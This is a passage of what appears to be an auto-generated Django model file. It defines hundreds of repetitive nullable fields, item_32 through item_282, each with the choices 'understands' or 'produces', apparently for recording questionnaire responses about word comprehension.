'produces')] item_32 = models.CharField(max_length=11, choices=item_32_choices, null=True) item_33_choices = [('understands', 'understands'), ('produces', 'produces')] item_33 = models.CharField(max_length=11, choices=item_33_choices, null=True) item_34_choices = [('understands', 'understands'), ('produces', 'produces')] item_34 = models.CharField(max_length=11, choices=item_34_choices, null=True) item_35_choices = [('understands', 'understands'), ('produces', 'produces')] item_35 = models.CharField(max_length=11, choices=item_35_choices, null=True) item_36_choices = [('understands', 'understands'), ('produces', 'produces')] item_36 = models.CharField(max_length=11, choices=item_36_choices, null=True) item_37_choices = [('understands', 'understands'), ('produces', 'produces')] item_37 = models.CharField(max_length=11, choices=item_37_choices, null=True) item_38_choices = [('understands', 'understands'), ('produces', 'produces')] item_38 = models.CharField(max_length=11, choices=item_38_choices, null=True) item_39_choices = [('understands', 'understands'), ('produces', 'produces')] item_39 = models.CharField(max_length=11, choices=item_39_choices, null=True) item_40_choices = [('understands', 'understands'), ('produces', 'produces')] item_40 = models.CharField(max_length=11, choices=item_40_choices, null=True) item_41_choices = [('understands', 'understands'), ('produces', 'produces')] item_41 = models.CharField(max_length=11, choices=item_41_choices, null=True) item_42_choices = [('understands', 'understands'), ('produces', 'produces')] item_42 = models.CharField(max_length=11, choices=item_42_choices, null=True) item_43_choices = [('understands', 'understands'), ('produces', 'produces')] item_43 = models.CharField(max_length=11, choices=item_43_choices, null=True) item_44_choices = [('understands', 'understands'), ('produces', 'produces')] item_44 = models.CharField(max_length=11, choices=item_44_choices, null=True) item_45_choices = [('understands', 'understands'), ('produces', 'produces')] item_45 = models.CharField(max_length=11, choices=item_45_choices, null=True) item_46_choices = [('understands', 'understands'), ('produces', 'produces')] item_46 = models.CharField(max_length=11, choices=item_46_choices, null=True) item_47_choices = [('understands', 'understands'), ('produces', 'produces')] item_47 = models.CharField(max_length=11, choices=item_47_choices, null=True) item_48_choices = [('understands', 'understands'), ('produces', 'produces')] item_48 = models.CharField(max_length=11, choices=item_48_choices, null=True) item_49_choices = [('understands', 'understands'), ('produces', 'produces')] item_49 = models.CharField(max_length=11, choices=item_49_choices, null=True) item_50_choices = [('understands', 'understands'), ('produces', 'produces')] item_50 = models.CharField(max_length=11, choices=item_50_choices, null=True) item_51_choices = [('understands', 'understands'), ('produces', 'produces')] item_51 = models.CharField(max_length=11, choices=item_51_choices, null=True) item_52_choices = [('understands', 'understands'), ('produces', 'produces')] item_52 = models.CharField(max_length=11, choices=item_52_choices, null=True) item_53_choices = [('understands', 'understands'), ('produces', 'produces')] item_53 = models.CharField(max_length=11, choices=item_53_choices, null=True) item_54_choices = [('understands', 'understands'), ('produces', 'produces')] item_54 = models.CharField(max_length=11, choices=item_54_choices, null=True) item_55_choices = [('understands', 'understands'), ('produces', 'produces')] item_55 = models.CharField(max_length=11, choices=item_55_choices, null=True) item_56_choices = [('understands', 'understands'), ('produces', 'produces')] item_56 = models.CharField(max_length=11, choices=item_56_choices, null=True) item_57_choices = [('understands', 'understands'), ('produces', 'produces')] item_57 = models.CharField(max_length=11, choices=item_57_choices, null=True) item_58_choices = [('understands', 'understands'), ('produces', 'produces')] item_58 = models.CharField(max_length=11, choices=item_58_choices, null=True) item_59_choices = [('understands', 'understands'), ('produces', 'produces')] item_59 = models.CharField(max_length=11, choices=item_59_choices, null=True) item_60_choices = [('understands', 'understands'), ('produces', 'produces')] item_60 = models.CharField(max_length=11, choices=item_60_choices, null=True) item_61_choices = [('understands', 'understands'), ('produces', 'produces')] item_61 = models.CharField(max_length=11, choices=item_61_choices, null=True) item_62_choices = [('understands', 'understands'), ('produces', 'produces')] item_62 = models.CharField(max_length=11, choices=item_62_choices, null=True) item_63_choices = [('understands', 'understands'), ('produces', 'produces')] item_63 = models.CharField(max_length=11, choices=item_63_choices, null=True) item_64_choices = [('understands', 'understands'), ('produces', 'produces')] item_64 = models.CharField(max_length=11, choices=item_64_choices, null=True) item_65_choices = [('understands', 'understands'), ('produces', 'produces')] item_65 = models.CharField(max_length=11, choices=item_65_choices, null=True) item_66_choices = [('understands', 'understands'), ('produces', 'produces')] item_66 = models.CharField(max_length=11, choices=item_66_choices, null=True) item_67_choices = [('understands', 'understands'), ('produces', 'produces')] item_67 = models.CharField(max_length=11, choices=item_67_choices, null=True) item_68_choices = [('understands', 'understands'), ('produces', 'produces')] item_68 = models.CharField(max_length=11, choices=item_68_choices, null=True) item_69_choices = [('understands', 'understands'), ('produces', 'produces')] item_69 = models.CharField(max_length=11, choices=item_69_choices, null=True) item_70_choices = [('understands', 'understands'), ('produces', 'produces')] item_70 = models.CharField(max_length=11, choices=item_70_choices, null=True) item_71_choices = [('understands', 'understands'), ('produces', 'produces')] item_71 = models.CharField(max_length=11, choices=item_71_choices, null=True) item_72_choices = [('understands', 'understands'), ('produces', 'produces')] item_72 = models.CharField(max_length=11, choices=item_72_choices, null=True) item_73_choices = [('understands', 'understands'), ('produces', 'produces')] item_73 = models.CharField(max_length=11, choices=item_73_choices, null=True) item_74_choices = [('understands', 'understands'), ('produces', 'produces')] item_74 = models.CharField(max_length=11, choices=item_74_choices, null=True) item_75_choices = [('understands', 'understands'), ('produces', 'produces')] item_75 = models.CharField(max_length=11, choices=item_75_choices, null=True) item_76_choices = [('understands', 'understands'), ('produces', 'produces')] item_76 = models.CharField(max_length=11, choices=item_76_choices, null=True) item_77_choices = [('understands', 'understands'), ('produces', 'produces')] item_77 = models.CharField(max_length=11, choices=item_77_choices, null=True) item_78_choices = [('understands', 'understands'), ('produces', 'produces')] item_78 = models.CharField(max_length=11, choices=item_78_choices, null=True) item_79_choices = [('understands', 'understands'), ('produces', 'produces')] item_79 = models.CharField(max_length=11, choices=item_79_choices, null=True) item_80_choices = [('understands', 'understands'), ('produces', 'produces')] item_80 = models.CharField(max_length=11, choices=item_80_choices, null=True) item_81_choices = [('understands', 'understands'), ('produces', 'produces')] item_81 = models.CharField(max_length=11, choices=item_81_choices, null=True) item_82_choices = [('understands', 'understands'), ('produces', 'produces')] item_82 = models.CharField(max_length=11, choices=item_82_choices, null=True) item_83_choices = [('understands', 'understands'), ('produces', 'produces')] item_83 = models.CharField(max_length=11, choices=item_83_choices, null=True) item_84_choices = [('understands', 'understands'), ('produces', 'produces')] item_84 = models.CharField(max_length=11, choices=item_84_choices, null=True) item_85_choices = [('understands', 'understands'), ('produces', 'produces')] item_85 = models.CharField(max_length=11, choices=item_85_choices, null=True) item_86_choices = [('understands', 'understands'), ('produces', 'produces')] item_86 = models.CharField(max_length=11, choices=item_86_choices, null=True) item_87_choices = [('understands', 'understands'), ('produces', 'produces')] item_87 = models.CharField(max_length=11, choices=item_87_choices, null=True) item_88_choices = [('understands', 'understands'), ('produces', 'produces')] item_88 = models.CharField(max_length=11, choices=item_88_choices, null=True) item_89_choices = [('understands', 'understands'), ('produces', 'produces')] item_89 = models.CharField(max_length=11, choices=item_89_choices, null=True) item_90_choices = [('understands', 'understands'), ('produces', 'produces')] item_90 = models.CharField(max_length=11, choices=item_90_choices, null=True) item_91_choices = [('understands', 'understands'), ('produces', 'produces')] item_91 = models.CharField(max_length=11, choices=item_91_choices, null=True) item_92_choices = [('understands', 'understands'), ('produces', 'produces')] item_92 = models.CharField(max_length=11, choices=item_92_choices, null=True) item_93_choices = [('understands', 'understands'), ('produces', 'produces')] item_93 = models.CharField(max_length=11, choices=item_93_choices, null=True) item_94_choices = [('understands', 'understands'), ('produces', 'produces')] item_94 = models.CharField(max_length=11, choices=item_94_choices, null=True) item_95_choices = [('understands', 'understands'), ('produces', 'produces')] item_95 = models.CharField(max_length=11, choices=item_95_choices, null=True) item_96_choices = [('understands', 'understands'), ('produces', 'produces')] item_96 = models.CharField(max_length=11, choices=item_96_choices, null=True) item_97_choices = [('understands', 'understands'), ('produces', 'produces')] item_97 = models.CharField(max_length=11, choices=item_97_choices, null=True) item_98_choices = [('understands', 'understands'), ('produces', 'produces')] item_98 = models.CharField(max_length=11, choices=item_98_choices, null=True) item_99_choices = [('understands', 'understands'), ('produces', 'produces')] item_99 = models.CharField(max_length=11, choices=item_99_choices, null=True) item_100_choices = [('understands', 'understands'), ('produces', 'produces')] item_100 = models.CharField(max_length=11, choices=item_100_choices, null=True) item_101_choices = [('understands', 'understands'), ('produces', 'produces')] item_101 = models.CharField(max_length=11, choices=item_101_choices, null=True) item_102_choices = [('understands', 'understands'), ('produces', 'produces')] item_102 = models.CharField(max_length=11, choices=item_102_choices, null=True) item_103_choices = [('understands', 'understands'), ('produces', 'produces')] item_103 = models.CharField(max_length=11, choices=item_103_choices, null=True) item_104_choices = [('understands', 'understands'), ('produces', 'produces')] item_104 = models.CharField(max_length=11, choices=item_104_choices, null=True) item_105_choices = [('understands', 'understands'), ('produces', 'produces')] item_105 = models.CharField(max_length=11, choices=item_105_choices, null=True) item_106_choices = [('understands', 'understands'), ('produces', 'produces')] item_106 = models.CharField(max_length=11, choices=item_106_choices, null=True) item_107_choices = [('understands', 'understands'), ('produces', 'produces')] item_107 = models.CharField(max_length=11, choices=item_107_choices, null=True) item_108_choices = [('understands', 'understands'), ('produces', 'produces')] item_108 = models.CharField(max_length=11, choices=item_108_choices, null=True) item_109_choices = [('understands', 'understands'), ('produces', 'produces')] item_109 = models.CharField(max_length=11, choices=item_109_choices, null=True) item_110_choices = [('understands', 'understands'), ('produces', 'produces')] item_110 = models.CharField(max_length=11, choices=item_110_choices, null=True) item_111_choices = [('understands', 'understands'), ('produces', 'produces')] item_111 = models.CharField(max_length=11, choices=item_111_choices, null=True) item_112_choices = [('understands', 'understands'), ('produces', 'produces')] item_112 = models.CharField(max_length=11, choices=item_112_choices, null=True) item_113_choices = [('understands', 'understands'), ('produces', 'produces')] item_113 = models.CharField(max_length=11, choices=item_113_choices, null=True) item_114_choices = [('understands', 'understands'), ('produces', 'produces')] item_114 = models.CharField(max_length=11, choices=item_114_choices, null=True) item_115_choices = [('understands', 'understands'), ('produces', 'produces')] item_115 = models.CharField(max_length=11, choices=item_115_choices, null=True) item_116_choices = [('understands', 'understands'), ('produces', 'produces')] item_116 = models.CharField(max_length=11, choices=item_116_choices, null=True) item_117_choices = [('understands', 'understands'), ('produces', 'produces')] item_117 = models.CharField(max_length=11, choices=item_117_choices, null=True) item_118_choices = [('understands', 'understands'), ('produces', 'produces')] item_118 = models.CharField(max_length=11, choices=item_118_choices, null=True) item_119_choices = [('understands', 'understands'), ('produces', 'produces')] item_119 = models.CharField(max_length=11, choices=item_119_choices, null=True) item_120_choices = [('understands', 'understands'), ('produces', 'produces')] item_120 = models.CharField(max_length=11, choices=item_120_choices, null=True) item_121_choices = [('understands', 'understands'), ('produces', 'produces')] item_121 = models.CharField(max_length=11, choices=item_121_choices, null=True) item_122_choices = [('understands', 'understands'), ('produces', 'produces')] item_122 = models.CharField(max_length=11, choices=item_122_choices, null=True) item_123_choices = [('understands', 'understands'), ('produces', 'produces')] item_123 = models.CharField(max_length=11, choices=item_123_choices, null=True) item_124_choices = [('understands', 'understands'), ('produces', 'produces')] item_124 = models.CharField(max_length=11, choices=item_124_choices, null=True) item_125_choices = [('understands', 'understands'), ('produces', 'produces')] item_125 = models.CharField(max_length=11, choices=item_125_choices, null=True) item_126_choices = [('understands', 'understands'), ('produces', 'produces')] item_126 = models.CharField(max_length=11, choices=item_126_choices, null=True) item_127_choices = [('understands', 'understands'), ('produces', 'produces')] item_127 = models.CharField(max_length=11, choices=item_127_choices, null=True) item_128_choices = [('understands', 'understands'), ('produces', 'produces')] item_128 = models.CharField(max_length=11, choices=item_128_choices, null=True) item_129_choices = [('understands', 'understands'), ('produces', 'produces')] item_129 = models.CharField(max_length=11, choices=item_129_choices, null=True) item_130_choices = [('understands', 'understands'), ('produces', 'produces')] item_130 = models.CharField(max_length=11, choices=item_130_choices, null=True) item_131_choices = [('understands', 'understands'), ('produces', 'produces')] item_131 = models.CharField(max_length=11, choices=item_131_choices, null=True) item_132_choices = [('understands', 'understands'), ('produces', 'produces')] item_132 = models.CharField(max_length=11, choices=item_132_choices, null=True) item_133_choices = [('understands', 'understands'), ('produces', 'produces')] item_133 = models.CharField(max_length=11, choices=item_133_choices, null=True) item_134_choices = [('understands', 'understands'), ('produces', 'produces')] item_134 = models.CharField(max_length=11, choices=item_134_choices, null=True) item_135_choices = [('understands', 'understands'), ('produces', 'produces')] item_135 = models.CharField(max_length=11, choices=item_135_choices, null=True) item_136_choices = [('understands', 'understands'), ('produces', 'produces')] item_136 = models.CharField(max_length=11, choices=item_136_choices, null=True) item_137_choices = [('understands', 'understands'), ('produces', 'produces')] item_137 = models.CharField(max_length=11, choices=item_137_choices, null=True) item_138_choices = [('understands', 'understands'), ('produces', 'produces')] item_138 = models.CharField(max_length=11, choices=item_138_choices, null=True) item_139_choices = [('understands', 'understands'), ('produces', 'produces')] item_139 = models.CharField(max_length=11, choices=item_139_choices, null=True) item_140_choices = [('understands', 'understands'), ('produces', 'produces')] item_140 = models.CharField(max_length=11, choices=item_140_choices, null=True) item_141_choices = [('understands', 'understands'), ('produces', 'produces')] item_141 = models.CharField(max_length=11, choices=item_141_choices, null=True) item_142_choices = [('understands', 'understands'), ('produces', 'produces')] item_142 = models.CharField(max_length=11, choices=item_142_choices, null=True) item_143_choices = [('understands', 'understands'), ('produces', 'produces')] item_143 = models.CharField(max_length=11, choices=item_143_choices, null=True) item_144_choices = [('understands', 'understands'), ('produces', 'produces')] item_144 = models.CharField(max_length=11, choices=item_144_choices, null=True) item_145_choices = [('understands', 'understands'), ('produces', 'produces')] item_145 = models.CharField(max_length=11, choices=item_145_choices, null=True) item_146_choices = [('understands', 'understands'), ('produces', 'produces')] item_146 = models.CharField(max_length=11, choices=item_146_choices, null=True) item_147_choices = [('understands', 'understands'), ('produces', 'produces')] item_147 = models.CharField(max_length=11, choices=item_147_choices, null=True) item_148_choices = [('understands', 'understands'), ('produces', 'produces')] item_148 = models.CharField(max_length=11, choices=item_148_choices, null=True) item_149_choices = [('understands', 'understands'), ('produces', 'produces')] item_149 = models.CharField(max_length=11, choices=item_149_choices, null=True) item_150_choices = [('understands', 'understands'), ('produces', 'produces')] item_150 = models.CharField(max_length=11, choices=item_150_choices, null=True) item_151_choices = [('understands', 'understands'), ('produces', 'produces')] item_151 = models.CharField(max_length=11, choices=item_151_choices, null=True) item_152_choices = [('understands', 'understands'), ('produces', 'produces')] item_152 = models.CharField(max_length=11, choices=item_152_choices, null=True) item_153_choices = [('understands', 'understands'), ('produces', 'produces')] item_153 = models.CharField(max_length=11, choices=item_153_choices, null=True) item_154_choices = [('understands', 'understands'), ('produces', 'produces')] item_154 = models.CharField(max_length=11, choices=item_154_choices, null=True) item_155_choices = [('understands', 'understands'), ('produces', 'produces')] item_155 = models.CharField(max_length=11, choices=item_155_choices, null=True) item_156_choices = [('understands', 'understands'), ('produces', 'produces')] item_156 = models.CharField(max_length=11, choices=item_156_choices, null=True) item_157_choices = [('understands', 'understands'), ('produces', 'produces')] item_157 = models.CharField(max_length=11, choices=item_157_choices, null=True) item_158_choices = [('understands', 'understands'), ('produces', 'produces')] item_158 = models.CharField(max_length=11, choices=item_158_choices, null=True) item_159_choices = [('understands', 'understands'), ('produces', 'produces')] item_159 = models.CharField(max_length=11, choices=item_159_choices, null=True) item_160_choices = [('understands', 'understands'), ('produces', 'produces')] item_160 = models.CharField(max_length=11, choices=item_160_choices, null=True) item_161_choices = [('understands', 'understands'), ('produces', 'produces')] item_161 = models.CharField(max_length=11, choices=item_161_choices, null=True) item_162_choices = [('understands', 'understands'), ('produces', 'produces')] item_162 = models.CharField(max_length=11, choices=item_162_choices, null=True) item_163_choices = [('understands', 'understands'), ('produces', 'produces')] item_163 = models.CharField(max_length=11, choices=item_163_choices, null=True) item_164_choices = [('understands', 'understands'), ('produces', 'produces')] item_164 = models.CharField(max_length=11, choices=item_164_choices, null=True) item_165_choices = [('understands', 'understands'), ('produces', 'produces')] item_165 = models.CharField(max_length=11, choices=item_165_choices, null=True) item_166_choices = [('understands', 'understands'), ('produces', 'produces')] item_166 = models.CharField(max_length=11, choices=item_166_choices, null=True) item_167_choices = [('understands', 'understands'), ('produces', 'produces')] item_167 = models.CharField(max_length=11, choices=item_167_choices, null=True) item_168_choices = [('understands', 'understands'), ('produces', 'produces')] item_168 = models.CharField(max_length=11, choices=item_168_choices, null=True) item_169_choices = [('understands', 'understands'), ('produces', 'produces')] item_169 = models.CharField(max_length=11, choices=item_169_choices, null=True) item_170_choices = [('understands', 'understands'), ('produces', 'produces')] item_170 = models.CharField(max_length=11, choices=item_170_choices, null=True) item_171_choices = [('understands', 'understands'), ('produces', 'produces')] item_171 = models.CharField(max_length=11, choices=item_171_choices, null=True) item_172_choices = [('understands', 'understands'), ('produces', 'produces')] item_172 = models.CharField(max_length=11, choices=item_172_choices, null=True) item_173_choices = [('understands', 'understands'), ('produces', 'produces')] item_173 = models.CharField(max_length=11, choices=item_173_choices, null=True) item_174_choices = [('understands', 'understands'), ('produces', 'produces')] item_174 = models.CharField(max_length=11, choices=item_174_choices, null=True) item_175_choices = [('understands', 'understands'), ('produces', 'produces')] item_175 = models.CharField(max_length=11, choices=item_175_choices, null=True) item_176_choices = [('understands', 'understands'), ('produces', 'produces')] item_176 = models.CharField(max_length=11, choices=item_176_choices, null=True) item_177_choices = [('understands', 'understands'), ('produces', 'produces')] item_177 = models.CharField(max_length=11, choices=item_177_choices, null=True) item_178_choices = [('understands', 'understands'), ('produces', 'produces')] item_178 = models.CharField(max_length=11, choices=item_178_choices, null=True) item_179_choices = [('understands', 'understands'), ('produces', 'produces')] item_179 = models.CharField(max_length=11, choices=item_179_choices, null=True) item_180_choices = [('understands', 'understands'), ('produces', 'produces')] item_180 = models.CharField(max_length=11, choices=item_180_choices, null=True) item_181_choices = [('understands', 'understands'), ('produces', 'produces')] item_181 = models.CharField(max_length=11, choices=item_181_choices, null=True) item_182_choices = [('understands', 'understands'), ('produces', 'produces')] item_182 = models.CharField(max_length=11, choices=item_182_choices, null=True) item_183_choices = [('understands', 'understands'), ('produces', 'produces')] item_183 = models.CharField(max_length=11, choices=item_183_choices, null=True) item_184_choices = [('understands', 'understands'), ('produces', 'produces')] item_184 = models.CharField(max_length=11, choices=item_184_choices, null=True) item_185_choices = [('understands', 'understands'), ('produces', 'produces')] item_185 = models.CharField(max_length=11, choices=item_185_choices, null=True) item_186_choices = [('understands', 'understands'), ('produces', 'produces')] item_186 = models.CharField(max_length=11, choices=item_186_choices, null=True) item_187_choices = [('understands', 'understands'), ('produces', 'produces')] item_187 = models.CharField(max_length=11, choices=item_187_choices, null=True) item_188_choices = [('understands', 'understands'), ('produces', 'produces')] item_188 = models.CharField(max_length=11, choices=item_188_choices, null=True) item_189_choices = [('understands', 'understands'), ('produces', 'produces')] item_189 = models.CharField(max_length=11, choices=item_189_choices, null=True) item_190_choices = [('understands', 'understands'), ('produces', 'produces')] item_190 = models.CharField(max_length=11, choices=item_190_choices, null=True) item_191_choices = [('understands', 'understands'), ('produces', 'produces')] item_191 = models.CharField(max_length=11, choices=item_191_choices, null=True) item_192_choices = [('understands', 'understands'), ('produces', 'produces')] item_192 = models.CharField(max_length=11, choices=item_192_choices, null=True) item_193_choices = [('understands', 'understands'), ('produces', 'produces')] item_193 = models.CharField(max_length=11, choices=item_193_choices, null=True) item_194_choices = [('understands', 'understands'), ('produces', 'produces')] item_194 = models.CharField(max_length=11, choices=item_194_choices, null=True) item_195_choices = [('understands', 'understands'), ('produces', 'produces')] item_195 = models.CharField(max_length=11, choices=item_195_choices, null=True) item_196_choices = [('understands', 'understands'), ('produces', 'produces')] item_196 = models.CharField(max_length=11, choices=item_196_choices, null=True) item_197_choices = [('understands', 'understands'), ('produces', 'produces')] item_197 = models.CharField(max_length=11, choices=item_197_choices, null=True) item_198_choices = [('understands', 'understands'), ('produces', 'produces')] item_198 = models.CharField(max_length=11, choices=item_198_choices, null=True) item_199_choices = [('understands', 'understands'), ('produces', 'produces')] item_199 = models.CharField(max_length=11, choices=item_199_choices, null=True) item_200_choices = [('understands', 'understands'), ('produces', 'produces')] item_200 = models.CharField(max_length=11, choices=item_200_choices, null=True) item_201_choices = [('understands', 'understands'), ('produces', 'produces')] item_201 = models.CharField(max_length=11, choices=item_201_choices, null=True) item_202_choices = [('understands', 'understands'), ('produces', 'produces')] item_202 = models.CharField(max_length=11, choices=item_202_choices, null=True) item_203_choices = [('understands', 'understands'), ('produces', 'produces')] item_203 = models.CharField(max_length=11, choices=item_203_choices, null=True) item_204_choices = [('understands', 'understands'), ('produces', 'produces')] item_204 = models.CharField(max_length=11, choices=item_204_choices, null=True) item_205_choices = [('understands', 'understands'), ('produces', 'produces')] item_205 = models.CharField(max_length=11, choices=item_205_choices, null=True) item_206_choices = [('understands', 'understands'), ('produces', 'produces')] item_206 = models.CharField(max_length=11, choices=item_206_choices, null=True) item_207_choices = [('understands', 'understands'), ('produces', 'produces')] item_207 = models.CharField(max_length=11, choices=item_207_choices, null=True) item_208_choices = [('understands', 'understands'), ('produces', 'produces')] item_208 = models.CharField(max_length=11, choices=item_208_choices, null=True) item_209_choices = [('understands', 'understands'), ('produces', 'produces')] item_209 = models.CharField(max_length=11, choices=item_209_choices, null=True) item_210_choices = [('understands', 'understands'), ('produces', 'produces')] item_210 = models.CharField(max_length=11, choices=item_210_choices, null=True) item_211_choices = [('understands', 'understands'), ('produces', 'produces')] item_211 = models.CharField(max_length=11, choices=item_211_choices, null=True) item_212_choices = [('understands', 'understands'), ('produces', 'produces')] item_212 = models.CharField(max_length=11, choices=item_212_choices, null=True) item_213_choices = [('understands', 'understands'), ('produces', 'produces')] item_213 = models.CharField(max_length=11, choices=item_213_choices, null=True) item_214_choices = [('understands', 'understands'), ('produces', 'produces')] item_214 = models.CharField(max_length=11, choices=item_214_choices, null=True) item_215_choices = [('understands', 'understands'), ('produces', 'produces')] item_215 = models.CharField(max_length=11, choices=item_215_choices, null=True) item_216_choices = [('understands', 'understands'), ('produces', 'produces')] item_216 = models.CharField(max_length=11, choices=item_216_choices, null=True) item_217_choices = [('understands', 'understands'), ('produces', 'produces')] item_217 = models.CharField(max_length=11, choices=item_217_choices, null=True) item_218_choices = [('understands', 'understands'), ('produces', 'produces')] item_218 = models.CharField(max_length=11, choices=item_218_choices, null=True) item_219_choices = [('understands', 'understands'), ('produces', 'produces')] item_219 = models.CharField(max_length=11, choices=item_219_choices, null=True) item_220_choices = [('understands', 'understands'), ('produces', 'produces')] item_220 = models.CharField(max_length=11, choices=item_220_choices, null=True) item_221_choices = [('understands', 'understands'), ('produces', 'produces')] item_221 = models.CharField(max_length=11, choices=item_221_choices, null=True) item_222_choices = [('understands', 'understands'), ('produces', 'produces')] item_222 = models.CharField(max_length=11, choices=item_222_choices, null=True) item_223_choices = [('understands', 'understands'), ('produces', 'produces')] item_223 = models.CharField(max_length=11, choices=item_223_choices, null=True) item_224_choices = [('understands', 'understands'), ('produces', 'produces')] item_224 = models.CharField(max_length=11, choices=item_224_choices, null=True) item_225_choices = [('understands', 'understands'), ('produces', 'produces')] item_225 = models.CharField(max_length=11, choices=item_225_choices, null=True) item_226_choices = [('understands', 'understands'), ('produces', 'produces')] item_226 = models.CharField(max_length=11, choices=item_226_choices, null=True) item_227_choices = [('understands', 'understands'), ('produces', 'produces')] item_227 = models.CharField(max_length=11, choices=item_227_choices, null=True) item_228_choices = [('understands', 'understands'), ('produces', 'produces')] item_228 = models.CharField(max_length=11, choices=item_228_choices, null=True) item_229_choices = [('understands', 'understands'), ('produces', 'produces')] item_229 = models.CharField(max_length=11, choices=item_229_choices, null=True) item_230_choices = [('understands', 'understands'), ('produces', 'produces')] item_230 = models.CharField(max_length=11, choices=item_230_choices, null=True) item_231_choices = [('understands', 'understands'), ('produces', 'produces')] item_231 = models.CharField(max_length=11, choices=item_231_choices, null=True) item_232_choices = [('understands', 'understands'), ('produces', 'produces')] item_232 = models.CharField(max_length=11, choices=item_232_choices, null=True) item_233_choices = [('understands', 'understands'), ('produces', 'produces')] item_233 = models.CharField(max_length=11, choices=item_233_choices, null=True) item_234_choices = [('understands', 'understands'), ('produces', 'produces')] item_234 = models.CharField(max_length=11, choices=item_234_choices, null=True) item_235_choices = [('understands', 'understands'), ('produces', 'produces')] item_235 = models.CharField(max_length=11, choices=item_235_choices, null=True) item_236_choices = [('understands', 'understands'), ('produces', 'produces')] item_236 = models.CharField(max_length=11, choices=item_236_choices, null=True) item_237_choices = [('understands', 'understands'), ('produces', 'produces')] item_237 = models.CharField(max_length=11, choices=item_237_choices, null=True) item_238_choices = [('understands', 'understands'), ('produces', 'produces')] item_238 = models.CharField(max_length=11, choices=item_238_choices, null=True) item_239_choices = [('understands', 'understands'), ('produces', 'produces')] item_239 = models.CharField(max_length=11, choices=item_239_choices, null=True) item_240_choices = [('understands', 'understands'), ('produces', 'produces')] item_240 = models.CharField(max_length=11, choices=item_240_choices, null=True) item_241_choices = [('understands', 'understands'), ('produces', 'produces')] item_241 = models.CharField(max_length=11, choices=item_241_choices, null=True) item_242_choices = [('understands', 'understands'), ('produces', 'produces')] item_242 = models.CharField(max_length=11, choices=item_242_choices, null=True) item_243_choices = [('understands', 'understands'), ('produces', 'produces')] item_243 = models.CharField(max_length=11, choices=item_243_choices, null=True) item_244_choices = [('understands', 'understands'), ('produces', 'produces')] item_244 = models.CharField(max_length=11, choices=item_244_choices, null=True) item_245_choices = [('understands', 'understands'), ('produces', 'produces')] item_245 = models.CharField(max_length=11, choices=item_245_choices, null=True) item_246_choices = [('understands', 'understands'), ('produces', 'produces')] item_246 = models.CharField(max_length=11, choices=item_246_choices, null=True) item_247_choices = [('understands', 'understands'), ('produces', 'produces')] item_247 = models.CharField(max_length=11, choices=item_247_choices, null=True) item_248_choices = [('understands', 'understands'), ('produces', 'produces')] item_248 = models.CharField(max_length=11, choices=item_248_choices, null=True) item_249_choices = [('understands', 'understands'), ('produces', 'produces')] item_249 = models.CharField(max_length=11, choices=item_249_choices, null=True) item_250_choices = [('understands', 'understands'), ('produces', 'produces')] item_250 = models.CharField(max_length=11, choices=item_250_choices, null=True) item_251_choices = [('understands', 'understands'), ('produces', 'produces')] item_251 = models.CharField(max_length=11, choices=item_251_choices, null=True) item_252_choices = [('understands', 'understands'), ('produces', 'produces')] item_252 = models.CharField(max_length=11, choices=item_252_choices, null=True) item_253_choices = [('understands', 'understands'), ('produces', 'produces')] item_253 = models.CharField(max_length=11, choices=item_253_choices, null=True) item_254_choices = [('understands', 'understands'), ('produces', 'produces')] item_254 = models.CharField(max_length=11, choices=item_254_choices, null=True) item_255_choices = [('understands', 'understands'), ('produces', 'produces')] item_255 = models.CharField(max_length=11, choices=item_255_choices, null=True) item_256_choices = [('understands', 'understands'), ('produces', 'produces')] item_256 = models.CharField(max_length=11, choices=item_256_choices, null=True) item_257_choices = [('understands', 'understands'), ('produces', 'produces')] item_257 = models.CharField(max_length=11, choices=item_257_choices, null=True) item_258_choices = [('understands', 'understands'), ('produces', 'produces')] item_258 = models.CharField(max_length=11, choices=item_258_choices, null=True) item_259_choices = [('understands', 'understands'), ('produces', 'produces')] item_259 = models.CharField(max_length=11, choices=item_259_choices, null=True) item_260_choices = [('understands', 'understands'), ('produces', 'produces')] item_260 = models.CharField(max_length=11, choices=item_260_choices, null=True) item_261_choices = [('understands', 'understands'), ('produces', 'produces')] item_261 = models.CharField(max_length=11, choices=item_261_choices, null=True) item_262_choices = [('understands', 'understands'), ('produces', 'produces')] item_262 = models.CharField(max_length=11, choices=item_262_choices, null=True) item_263_choices = [('understands', 'understands'), ('produces', 'produces')] item_263 = models.CharField(max_length=11, choices=item_263_choices, null=True) item_264_choices = [('understands', 'understands'), ('produces', 'produces')] item_264 = models.CharField(max_length=11, choices=item_264_choices, null=True) item_265_choices = [('understands', 'understands'), ('produces', 'produces')] item_265 = models.CharField(max_length=11, choices=item_265_choices, null=True) item_266_choices = [('understands', 'understands'), ('produces', 'produces')] item_266 = models.CharField(max_length=11, choices=item_266_choices, null=True) item_267_choices = [('understands', 'understands'), ('produces', 'produces')] item_267 = models.CharField(max_length=11, choices=item_267_choices, null=True) item_268_choices = [('understands', 'understands'), ('produces', 'produces')] item_268 = models.CharField(max_length=11, choices=item_268_choices, null=True) item_269_choices = [('understands', 'understands'), ('produces', 'produces')] item_269 = models.CharField(max_length=11, choices=item_269_choices, null=True) item_270_choices = [('understands', 'understands'), ('produces', 'produces')] item_270 = models.CharField(max_length=11, choices=item_270_choices, null=True) item_271_choices = [('understands', 'understands'), ('produces', 'produces')] item_271 = models.CharField(max_length=11, choices=item_271_choices, null=True) item_272_choices = [('understands', 'understands'), ('produces', 'produces')] item_272 = models.CharField(max_length=11, choices=item_272_choices, null=True) item_273_choices = [('understands', 'understands'), ('produces', 'produces')] item_273 = models.CharField(max_length=11, choices=item_273_choices, null=True) item_274_choices = [('understands', 'understands'), ('produces', 'produces')] item_274 = models.CharField(max_length=11, choices=item_274_choices, null=True) item_275_choices = [('understands', 'understands'), ('produces', 'produces')] item_275 = models.CharField(max_length=11, choices=item_275_choices, null=True) item_276_choices = [('understands', 'understands'), ('produces', 'produces')] item_276 = models.CharField(max_length=11, choices=item_276_choices, null=True) item_277_choices = [('understands', 'understands'), ('produces', 'produces')] item_277 = models.CharField(max_length=11, choices=item_277_choices, null=True) item_278_choices = [('understands', 'understands'), ('produces', 'produces')] item_278 = models.CharField(max_length=11, choices=item_278_choices, null=True) item_279_choices = [('understands', 'understands'), ('produces', 'produces')] item_279 = models.CharField(max_length=11, choices=item_279_choices, null=True) item_280_choices = [('understands', 'understands'), ('produces', 'produces')] item_280 = models.CharField(max_length=11, choices=item_280_choices, null=True) item_281_choices = [('understands', 'understands'), ('produces', 'produces')] item_281 = models.CharField(max_length=11, choices=item_281_choices, null=True) item_282_choices = [('understands', 'understands'), ('produces', 